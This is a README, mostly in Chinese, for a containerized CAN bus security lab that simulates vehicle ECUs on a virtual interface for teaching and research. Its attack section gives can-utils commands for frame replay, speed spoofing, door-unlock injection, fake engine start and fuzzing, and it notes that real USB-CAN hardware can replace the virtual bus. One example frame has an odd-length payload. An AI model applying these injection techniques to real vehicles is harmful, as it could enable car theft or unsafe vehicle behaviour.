alvarodcastro/CANSim-Lab
GitHub: alvarodcastro/CANSim-Lab
容器化的 CAN 总线安全实验环境,通过模拟多 ECU 流量和实时 Web 仪表盘,帮助研究者在隔离环境中学习、演示和测试车载网络攻击与防御技术。
Stars: 0 | Forks: 0
# CANSim 实验室 🚗
一个完全容器化的 CAN 总线研究环境,包含一个逼真的 ECU 模拟器
和一个实时可视化车辆仪表盘。
## 核心亮点
- 基于 SocketCAN 的 ECU 模拟器,具备多个虚拟 ECU 和逼真信号
- 带有 WebSocket 实时更新和控制操作的 Web 仪表盘
- 开箱即用的 CAN ID 参考和控制帧映射表
- Docker 化服务,支持快速启动和可重复演示
## 系统架构
```
┌─────────────────────────────────────────────────────────────────┐
│ Linux HOST KERNEL │
│ ┌──────────┐ vcan0 (virtual CAN interface) │
│ │ socketcan│◀══════════════════════════════════════════╗ │
│ └──────────┘ ║ │
└─────────────────────────────────────────────────────────║───────┘
║
┌────────────────────────────┐ ┌────────────────║───────────────────┐
│ ecu-simulator │ │ car-dashboard ║ │
│ (Python / python-can) │ │ (Flask + WS) ║ │
│ │ │ ║ │
│ ECM 0x0C9 RPM+Speed │ │ CAN RX loop ───╝ │
│ ECM 0x0D0 Throttle │ │ Decoder │
│ ECM 0x0D1 Temp │══════│ WebSocket ──► Browser Dashboard │
│ ABS 0x0B0 WheelSpeeds │ │ │
│ BCM 0x3B0 Doors │ │ REST API ◄── Dashboard actions │
│ BCM 0x3B1 Lights │ │ CAN TX ──► vcan0 control frames │
│ TCU 0x1A1 Gear │ │ │
│ TPMS 0x2B0-3 Pressures │ │ http://localhost:5000 │
│ ... │ │ │
│ Listens: 0x7F0-0x7F8 │ └────────────────────────────────────┘
└────────────────────────────┘
```
## 前置条件
- 支持 SocketCAN 的 Linux 主机
- Docker Engine
- 主机上安装 `can-utils`,用于监控流量和重放
## 快速开始
### 1. 主机设置 (一次性)
```
# 在主机上安装 can-utils(用于监控)
sudo apt install can-utils
# 创建 vcan0 接口
sudo bash scripts/setup-vcan.sh
```
### 2. 构建并运行
```
docker compose up --build
```
如果您使用的是旧版 Compose v1 二进制文件,请改用 `docker-compose`。
### 3. 打开仪表盘
```
http://localhost:5000
```
### 4. 监控原始流量
```
# 主机上的实时 CAN dump
candump vcan0
# 按 ID 着色
candump -c vcan0
# 记录到文件
candump -l vcan0
```
## CAN ID 参考
| CAN ID | ECU | 信号 | 编码 |
|--------|------|--------------------|-----------------------------------|
| 0x0C9 | ECM | RPM + Speed | Bytes 0-1: RPM×4, Byte 2: km/h |
| 0x0D0 | ECM | Throttle + Load | Byte 0: thr×2.55, Byte 1: load |
| 0x0D1 | ECM | Coolant + Intake | Byte 0: temp+40, Byte 1: temp+40 |
| 0x0B0 | ABS | Wheel speeds | 4× (hi,lo) pairs, ×100 km/h |
| 0x1A1 | TCU | Gear + Mode | Byte 0: gear#, Byte 1: P/R/N/D/S |
| 0x3B0 | BCM | Doors/Windows | Byte 0: bitmask (see below) |
| 0x3B1 | BCM | Lights | Byte 0: bitmask (see below) |
| 0x3A1 | IC | Fuel gauge | Byte 0: fuel%×2.55 |
| 0x0F0 | SRS | Airbag+Seatbelts | Byte 0: bits 0,1=belts, 7=OK |
| 0x2B0 | TPMS | Front-left tire | Bytes 0-1: kPa×100, Byte 2: temp |
| 0x2B1 | TPMS | Front-right tire | same |
| 0x2B2 | TPMS | Rear-left tire | same |
| 0x2B3 | TPMS | Rear-right tire | same |
| 0x3C0 | HVAC | Fan/Temp/AC | Byte 0: fan, 1: temp, 2: AC flag |
| 0x100 | GW | Heartbeat | Byte 0: 0xAA, Byte 1: counter |
### 车门位掩码 (0x3B0 Byte 0)
```
bit 0 = driver door open
bit 1 = passenger door open
bit 2 = rear-left door open
bit 3 = rear-right door open
bit 4 = hood open
bit 5 = trunk open
```
### 车灯位掩码 (0x3B1 Byte 0)
```
bit 0 = headlights
bit 1 = taillights
bit 2 = turn left
bit 3 = turn right
bit 4 = front fog
bit 5 = rear fog
bit 6 = hazard
```
## 控制帧 (仪表盘 → ECU 模拟器)
| CAN ID | 功能 | 数据 |
|--------|---------------|-----------------------------------|
| 0x7F0 | Engine START | `01 00 00 00 00 00 00 00` |
| 0x7F1 | Engine STOP | `00 00 00 00 00 00 00 00` |
| 0x7F2 | Throttle | `[pct] 00 00 00 00 00 00 00` |
| 0x7F3 | Door | `[idx] [0=close/1=open] 00...` |
| 0x7F4 | Lights | `[flags] 00 00 00 00 00 00 00` |
| 0x7F5 | Gear mode | `[0=P,1=R,2=N,3=D,4=S] 00...` |
| 0x7F6 | HVAC | `[fan] [temp_raw] [ac] 00...` |
| 0x7F7 | Central lock | `[0=unlock/1=lock] 00...` |
| 0x7F8 | Seatbelts | `[driver] [pass] 00 00...` |
## Fuzzing 和攻击示例
### 重放攻击 — 强制开启前照灯
```
while true; do cansend vcan0 3B1#01000000000000; sleep 0.1; done
```
### 在怠速下伪造车速至 200 km/h
```
# RPM=800 但 speed byte=200
cansend vcan0 0C9#0C800C800000000
```
### 通过 CAN 注入解锁车门
```
cansend vcan0 7F7#00000000000000
```
### 触发伪造的引擎启动
```
cansend vcan0 7F0#01000000000000
```
### 录制并重放会话
```
# 录制
candump -l vcan0 # creates candump-TIMESTAMP.log
# 重放
canplayer -I candump-*.log
```
### 使用 can-utils 进行 Fuzzing
```
# 对特定 ID 进行随机 fuzzing
cangen vcan0 -g 100 -I 3B0 -L 8
```
## 文件结构
```
CANSim-Lab/
├── docker-compose.yml
├── scripts/
│ └── setup-vcan.sh ← Run first on host
├── ecu-simulator/
│ ├── Dockerfile
│ ├── ecu_definitions.py ← CAN ID map + encode/decode functions
│ └── ecu_simulator.py ← Multi-ECU traffic generator + vehicle physics
└── car-dashboard/
├── Dockerfile
├── app.py ← Flask/SocketIO backend + CAN decoder
└── templates/
└── dashboard.html ← Visual car interface
```
## 扩展实验室
- **添加新 ECU**:在 `ecu_definitions.py` 中定义 ID,在 `ecu_simulator.py` 中添加 TX 线程,在 `app.py` 中解码,在 `dashboard.html` 中显示
- **添加 OBD-II 支持**:在模拟器中响应 `0x7DF` PID 请求
- **CAN-FD**:将 `python-can` 的总线类型更改为 `socketcan` 并设置 `fd=True`
- **硬件 CAN**:将 `vcan0` 替换为 `can0`(真实的 USB-CAN 适配器,例如 Kvaser, PCAN, CANable)
- **IDS 测试**:录制基线流量,然后注入异常并检测偏差
## 安全与道德声明
本项目旨在用于隔离的虚拟网络上的研究与教育。
未经明确许可,请勿在真实车辆或网络上使用这些技术。
标签:CAN ID, CAN帧, CAN总线, CAN模拟器, Docker, ECU仿真, ECU模拟, Flask, NIDS, Python, python-can, SocketCAN, vcan, WebSocket, 依赖分析, 信号仿真, 安全培训, 安全防御评估, 实时仪表盘, 容器化, 密码管理, 插件系统, 攻防演练靶场, 无后门, 汽车信息安全, 汽车安全, 汽车黑客, 物联网安全, 网络仿真, 虚拟CAN, 虚拟环境, 请求拦截, 车联网安全, 车载网络, 车载网络安全, 逆向工具, 黑客模拟